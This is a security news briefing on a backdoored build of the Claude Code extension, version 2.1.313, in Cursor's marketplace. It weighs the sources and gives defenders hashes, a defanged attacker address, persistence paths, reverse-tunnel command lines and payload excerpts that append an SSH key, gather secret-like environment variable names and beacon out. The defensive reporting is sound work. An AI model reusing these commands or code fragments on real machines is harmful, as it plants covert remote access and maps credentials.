Cursor says malicious Claude Code extension 2.1.313 was live 11 hours; Phorion details the SSH backdoor

A window of 11 hours 8 minutes, a ceiling of 5,000 users, and a store the sources name differently

Cursor says a maliciously modified build of Anthropic's Claude Code extension, version 2.1.313, was available in its own extension marketplace from about 2:27am to 1:35pm Pacific time on 29 October 2026. That is 11 hours and 8 minutes, or 668 minutes (derived), and 09:27 to 20:35 UTC (derived: Pacific Daylight Time is seven hours behind UTC on that date). Cursor says at most 5,000 users were affected and that it will contact them directly. Phorion, a macOS security company, published a technical advisory the next day describing what the injected code does.

Those figures establish a window and a ceiling. They do not establish how the package reached the marketplace, who is behind it, whether any machine was actually logged into, or how many of the up to 5,000 ran the payload. Neither primary page says. They also do not match the version of the story most readers saw first. Help Net Security reports that the package was published on Open VSX, the open source registry run by the Eclipse Foundation. Neither Cursor's notice nor Phorion's advisory mentions Open VSX, and the Open VSX registry, read at about 11:38 GMT on 30 October, lists no version 2.1.313 of the Anthropic claude-code extension. This briefing follows the two primary pages and reports the Open VSX claim as Help Net's, unconfirmed.

What was read, from 11:37 GMT on Friday 30 October 2026: Cursor's security notice dated 29 October, Phorion's advisory dated 30 October, Help Net's article (published 11:15 GMT on 30 October), the Open VSX registry listing for the extension, and Anthropic's public changelog. The Hacker News also reported the story, but its site refuses automated requests, so it was not read. Cursor's remediation scripts were not downloaded or opened, and the Cursor post on X that Help Net quotes was not read. Each main page was read again before this briefing was finished, at about 11:50 GMT.

Interests, in one sentence each. Phorion sells macOS endpoint security and ends its advisory with an offer of a demonstration. Cursor operates the marketplace where, by its own account, the package was available, so its notice is both the main account and the account of a party with a stake in how the incident reads. Anthropic makes the genuine extension, and Cursor says this version "was not developed by Anthropic". No statement from Anthropic, the Eclipse Foundation or Windsurf was found on their own pages, and Windsurf's blog index, read for the purpose, carried none (it listed posts about other products).

Where it was published: two primary pages say Cursor's marketplace, one news report says Open VSX

The question matters because it decides who must check what. A reader who uses Cursor needs to look at Cursor's marketplace advice. A reader who uses another editor that draws on Open VSX needs to know whether that registry ever carried the package. The sources read do not agree, and the table sets out exactly who says what.

Zoom

What the registry check does and does not show. Open VSX shows what it lists now. A version that was removed would be absent too, so "not found" does not prove it never existed there. Anthropic's version numbers also skip: between 2.1.200 and 2.1.314 there are 115 numbers and the Open VSX listing holds 100 of them, so 15 are absent (derived), and Anthropic's own public changelog has no 2.1.313 entry either. A gap at 2.1.313 is therefore weak evidence in either direction.

What can be said is narrower. Neither primary ties the package to Open VSX. The only place that does is a news report that does not say where it learned it. Whether Cursor's marketplace takes its listings from Open VSX is not stated by any source read. If it does, that could reconcile the accounts, but that is an inference, not a finding. Likewise, Help Net's statement that Microsoft's marketplace never carried the package is not addressed by either primary, and this briefing did not check it.

The other open question is the route in. Neither primary says whether the genuine publisher account, the marketplace's own upload path, or something else was used. Cursor says it removed the version, shut the marketplace as a precaution, audited access, found no other tampered extensions, rotated its keys, rebuilt the marketplace and brought it back. That describes what Cursor did afterwards. It is not a root cause.

The window and the 5,000: what each figure counts

Help Net's figure, up to 5,000 Cursor users affected in a subheading, comes from Cursor's notice, which says "At most 5,000 users were affected". The unit is users, not installs, downloads or active users, and Cursor does not say how it counted or whether "affected" means installed, updated or ran the payload. Its remediation advice is addressed to anyone who installed or updated to the version between 2:27am and 1:35pm Pacific on 29 October, so the figure plausibly counts people in that group. That is an inference.

Zoom

One caution on time. Cursor's window is given as "about" 2:27am to 1:35pm, and Help Net rounds it to about 11 hours. The derived 11 hours 8 minutes is the arithmetic of Cursor's two stated times and nothing more precise. When Phorion first saw the package, and when Cursor first noticed it, are not stated.

What the code does, as Phorion prints it, and where Cursor's account differs

Phorion says the extension.js file starts with an injected immediately invoked function expression prepended to the minified bundle, and that the rest of the bundle looks like the standard extension. It says the injected code runs as soon as Node loads the file, before the extension's normal activate callback, so the user does not need to interact with the extension. Cursor's list of behaviours matches Phorion's in outline: collect host details, try to add an attacker key, try to enable local SSH and open a reverse tunnel, try to persist, and report by HTTP POST to /beacon on port 8099.

Zoom

The key detail is the gate. Phorion says the code asks macOS whether Remote Login is off by running a command that, for a standard user, prints an administrator access error instead of Off. The code only tries to turn SSH on if the output contains Off, so it skips that step and treats the error as if SSH were already on. On a Mac without Remote Login the tunnel still connects out, but forwarded traffic reaches a closed port 22. Phorion states plainly that this is not a defence: a Mac with Remote Login already enabled, or one where the user enables it later, is ready for the operator, and the key, persistence and beacon are dropped either way.

Cursor explains the failure differently. It says turning on the local SSH service needs administrator rights the extension lacks on most macOS and Windows hosts, and that on those hosts "the attacker could not have logged in through the tunnel". That is true only where SSH was off. Neither source says how many machines had SSH running, and neither prints a count of logins. Phorion also notes a separate bug in the Windows path, where a helper hardcodes /bin/sh, and says non interactive sudo only works where passwordless sudo is already configured.

Two gaps in the record. First, Phorion's table says the Linux crontab bug is "detailed below", but the advisory as read contains no such detail, so that claim is stated and not shown. Second, Phorion's analysis covers all three platforms but focuses on macOS, while Cursor's package hashes and remediation scripts cover macOS (darwin arm64) and Windows (win32 x64) only. Whether a Linux build was in Cursor's marketplace is not stated by any source read. Phorion's own sample hash is for the extension.js bundle, and Cursor's are for the packaged VSIX files, so the two sets of hashes are different objects and cannot be compared.

What it sends. Phorion lists the hostname, username, OS platform and architecture, home directory, working directory, global Git email, public IP address and status flags from each setup stage, plus up to 40 environment variable names matching a pattern for key, token, secret, password, AWS and GCP. Names only, not values. Phorion's reading is that this gives the operator an inventory of which hosts hold cloud credentials. Cursor adds that the limited collection "does not rule out later credential access over the backdoor". Cursor also says the attacker's server no longer functions after it worked with the hosting cloud provider, so the tunnel and the reports no longer work. That is Cursor's statement, and it does not undo what was already installed on a machine.

Stated and not stated

The friendly name check: an Anthropic name, an Apple label and a telemetry comment

Several labels in this story do the work of a control and are not one. The package ran under the identifier Anthropic.claude-code, the same publisher and name as the genuine extension, and Cursor says the version "was not developed by Anthropic". On a machine, the publisher name in an extension identifier told a developer nothing about who built that version. Phorion calls it "official", and that word describes the identifier and not the origin.

The persistence uses the same trick in reverse. The macOS LaunchAgent is called com.apple.sysmond, which looks like an Apple system job, and Windows gets a task called SysMon. The attacker's key carries the comment svc-telemetry, which reads like a monitoring service account. Phorion notes that the script checks whether that comment is already in the file, not whether the key is, so a hunt should look at the key fingerprint and not rely on the comment alone. A defence built on spotting suspicious names would miss all three.

The Open VSX record carries the same lesson from the other side. The listing read shows verified true and publishedWithTrustedPublishing false for the two versions read, 2.1.312 and 2.1.314. A verified namespace says who the namespace belongs to, not that every version under it came through the owner's own pipeline. A related gap between a name and an identity appears in an earlier briefing on npm Trusted Publishing, where Bloom Security says npm matched a repository's name, not its numeric ID, until a first publish. Each time, a label is accepted as proof.

What a developer on a VS Code compatible editor should do, in order

The first three steps need no tooling and decide whether the rest matters. Commands and paths are in the Technical details section, attributed to Cursor and Phorion. Where an action is this briefing's suggestion and not something a primary prints, it says so.

Technical details

Everything in the code blocks below is copied from Cursor's notice or Phorion's advisory, each named in its caption, and read on 30 October 2026. Nothing here is a working exploit: the payload excerpts are the fragments Phorion itself prints, and Phorion redacts the embedded public key in its own excerpt. Addresses stay defanged as each source printed them (the two sources defang slightly differently). Where a source used a dash in a line, a colon replaces it here, and Phorion's table rows are reflowed to one line each. A defender searches logs for the plain forms. Cursor's remediation scripts are not reproduced because they were not read.

First, the file hashes. Phorion's SHA-256 is for the extension.js bundle and the two fingerprints identify the keys. Cursor's hashes are for the whole packaged extension for two platforms. They are different files, so a match on one does not test the other. A defender compares hashes of extension files on disk, and the fingerprints against keys listed in authorized keys files.

SHA-256: ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15  (backdoored extension.js bundle)
Victim login public key fingerprint: SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk  (Ed25519 key appended to ~/.ssh/authorized_keys, comment svc-telemetry)
Tunnel public key fingerprint: SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ  (embedded Ed25519 key used to authenticate to the tunnel server, comment svc-telemetry-tun)

Modified VSIX SHA-256 (darwin-arm64): 432ccdee3801f99e52b8fe31f69ea9870118e96ea7ef9ecabed1479621b5ab62 (MD5 da5469c4221775e9fe2e413e59ca7fd9)
Modified VSIX SHA-256 (win32-x64): 3de1722901165769893bef57c72594e9a54459faa23f3091b136b79966edd081 (MD5 bd3b71ddf3d0cc3af76249afd2c0eda1)
Modified code: extension.js in the anthropic.claude-code-2.1.313-darwin-arm64 (macOS) or anthropic.claude-code-2.1.313-win32-x64 (Windows) extension folder contains 134[.]209[.]82[.]225 and svc-telemetry

Network indicators. The attacker address appears in both sources. Cursor says the server is offline, so a connection attempt now is evidence of an old install trying to call out, not of a live operator. The two public IP lookup services are legitimate, and Cursor says access to them alone is not an indicator.

Attacker endpoint: 134[.]209[.]82[.]225
Reverse SSH: tunnel@134[.]209[.]82[.]225, TCP 22
External beacon: hxxp://134[.]209[.]82[.]225:8099/beacon (HTTP POST)
Local beacon attempt: 127[.]0[.]0[.]1:8099/beacon (HTTP POST, loopback)
Public IP lookups to ifconfig[.]me / api[.]ipify[.]org: legitimate services; access alone is not an indicator

The planted key. This is a public key, the line an attacker's login depends on, and it is what a defender greps for in authorized keys files. It is printed by Cursor. Phorion advises matching the fingerprint, not only the comment.

Unauthorized public key: ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDdvylCEJ/k2TpezcTfedrkHyFSK9IZ3vmP6vhY4Ss0P svc-telemetry
Unauthorized key fingerprint: SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk
Reverse-tunnel key fingerprint: SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ
Key comment: svc-telemetry

Files and persistence, by platform, from both sources. Hunt for these paths in endpoint file telemetry. Phorion says the extension host process writing to the SSH directory is the signal that process only rules for shell commands will miss.

macOS: unauthorized key in ~/.ssh/authorized_keys; ~/.config/.smt, ~/.config/.smtk; $TMPDIR/.stk_<10 hex>; ~/Library/LaunchAgents/com.apple.sysmond.plist (label com.apple.sysmond)
Windows: %USERPROFILE%\.ssh\authorized_keys, %USERPROFILE%\.config\smt.cmd, %USERPROFILE%\.config\smtk, %TEMP%\.stk_<10 hex>; scheduled task SysMon (attempts to run as SYSTEM); fallback %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\sysmon.cmd

~/.<ide>/extensions/anthropic.claude-code-2.1.313-darwin-arm64   macOS (Apple Silicon); <ide> varies by editor
~/.ssh/authorized_keys (comment svc-telemetry)   All platforms
<TMP>/.stk_<10 hex chars> ($TMPDIR/.stk_* on macOS)   Tunnel private key; suffix is the first 10 hex chars of MD5(hostname + HOME)
~/.config/.smt and ~/.config/.smtk   macOS, Linux: persistence shell script and recreated tunnel key
~/Library/LaunchAgents/com.apple.sysmond.plist   macOS: user LaunchAgent executing /bin/sh ~/.config/.smt
@reboot cron entry for ~/.config/.smt   Linux: user crontab persistence
~/.config/smt.cmd and ~/.config/smtk   Windows: persistence batch script and tunnel key
Scheduled task SysMon   Windows: startup scheduled task (requests SYSTEM)
%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd   Windows: Startup folder fallback script

Process and command line indicators for hunting. The options in the third line are those the tunnel is launched with. Phorion says the zero in the remote forward asks the attacker's server to pick the listening port.

ssh -N -R '*:0:localhost:22'
autossh -M 0
SSH options: StrictHostKeyChecking=no, UserKnownHostsFile=/dev/null, ServerAliveInterval=30, ServerAliveCountMax=3, ExitOnForwardFailure=yes, IdentitiesOnly=yes
schtasks /create /tn SysMon
systemsetup -setremotelogin on
Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0

Cursor's own check for whether a machine holds the key. It reads the authorized keys file and prints a verdict. A defender runs it as the user whose machine is being checked. Phorion's advice to check the fingerprint as well applies, since the script tests for the comment.

grep -qs svc-telemetry ~/.ssh/authorized_keys && echo "svc-telemetry key found" || echo "No key found; machine not impacted"

$files = "$HOME\.ssh\authorized_keys", "C:\ProgramData\ssh\administrators_authorized_keys" | Where-Object { Test-Path $_ }
if ($files -and (Select-String svc-telemetry $files)) { "svc-telemetry key found" } else { "No key found; machine not impacted" }

Now the payload excerpts Phorion prints, to explain the gate. In order: the key is appended unless the comment is already present; the macOS branch asks for Remote Login state without elevation; and that command, run by a standard user, prints the message in the third block. The code tests that output for the letters Off, so the message makes the test false and the enable step is skipped. The fourth block is the helper that returns the output.

var sd = path.join(HOME, ".ssh"),
    ak = path.join(sd, "authorized_keys");
// ...
if (cur.indexOf("svc-telemetry") < 0) {
  fs.appendFileSync(ak, PUB + "\n");
  d.sshKey = "added"
} else {
  d.sshKey = "present"
}

// ...
else if (PLAT === "darwin") {
  var rl = ex("systemsetup -getremotelogin 2>/dev/null", 4000);
  d.remoteLogin = rl;
  if (/Off/i.test(rl)) {
    det("sudo -n systemsetup -setremotelogin on >/dev/null 2>&1");
    d.remoteLoginOn = "tried"
  }
}

You need administrator access to run this tool... exiting!

function ex(c, t) {
  try {
    return cp.execSync(c, {
      timeout: t || 3000,
      stdio: ["ignore", "pipe", "ignore"],
      windowsHide: true
    }).toString().trim()
  } catch (e) {
    return ""
  }
}

The tunnel key filename and the reconnaissance filter. The first shows how the temporary key file is named, so a defender can search for the pattern. The second is the pattern for environment variable names: it keeps names, not values, and takes at most 40.

var kf = path.join(
  TMP,
  ".stk_" + crypto.createHash("md5")
    .update(String(os.hostname()) + HOME).digest("hex").slice(0, 10)
);
// ...
var RF = (PLAT === "win32") ? "\"*:0:localhost:22\"" : "'*:0:localhost:22'";

Object.keys(process.env)
  .filter(function(k) {
    return /KEY|TOKEN|SECRET|PASS|AWS|GCP/i.test(k)
  })
  .slice(0, 40)

The beacon request shape and the LaunchAgent keys. The beacon is plaintext HTTP, so proxy or network logs can show it. The plist keys show the persistence setting: run at load and keep alive.

var r = http.request({
  host: h,
  port: p,
  path: "/beacon",
  method: "POST",
  timeout: 3000,
  headers: {"content-type": "application/json"}
}, function(res) {
  res.resume()
});
// ...
r.write(JSON.stringify(d));
r.end()

<key>Label</key>
<string>com.apple.sysmond</string>
<!-- ... -->
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>

What the primaries do not print: the full remediation scripts as text in the pages read, any Linux package hash, any Open VSX package hash, any log line from a real victim, or a credential. None is invented here.

The question the record leaves open

Cursor and Phorion between them describe a payload in detail and a window in hours. They leave the one thing a defender would most like to know: how a package carrying the vendor's own identifier got into a marketplace it did not come from. The record also leaves unsettled which stores carried it, and the only claim that it was on Open VSX has no source behind it.

Developer machines are valuable because they hold keys, tokens and source. A related route, hidden editor tasks planted in repositories, appears in an earlier briefing on GhostAction. So here is the question for any team that lets editors install extensions automatically: when an extension arrives under a vendor's name, what, other than that name, tells your machines whose hand published it?

Key facts